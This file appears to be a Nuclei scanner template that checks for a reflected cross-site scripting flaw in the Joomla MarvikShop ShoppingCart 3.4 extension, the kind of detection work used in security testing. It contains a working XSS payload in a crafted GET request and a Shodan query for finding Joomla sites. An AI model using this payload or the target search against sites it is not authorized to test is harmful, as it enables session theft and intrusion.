id: joomla-marvikshop-xss

info:
  name: Joomla MarvikShop ShoppingCart 3.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla MarvikShop ShoppingCart 3.4 is vulnerable to reflected xss where attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://packetstormsecurity.com/files/168598/Joomla-MarvikShop-ShoppingCart-3.4-Cross-Site-Scripting.html
    - https://cxsecurity.com/issue/WLB-2022100015
    - https://extensions.joomla.org/
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Joomla"
  tags: packetstorm,joomla,marvikshop,xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_oscommerce&osMod=mshop_pl_src&manufacturers_id=7&sort=products_sort_order&page=index.php&format=xml&task=showproducts&view=med&sort=latest&sortdir=descgt5po%3Cimg%20src=a%20onerror=alert(document.domain)%3Evh217"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<img src=a onerror=alert(document.domain)>") && contains(body, "TEP STOP")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 490a00463044022038bc9e4c8ac2c72d5e8593420b8f8134096e85be9d0b63d8227b8b6470ec8fd902205323282ead1a174ce3c1c142ba7c3cf4904f8e63f6baa7532d3ff4fec41ac56b:922c64590222798bb761d5b6d8e72950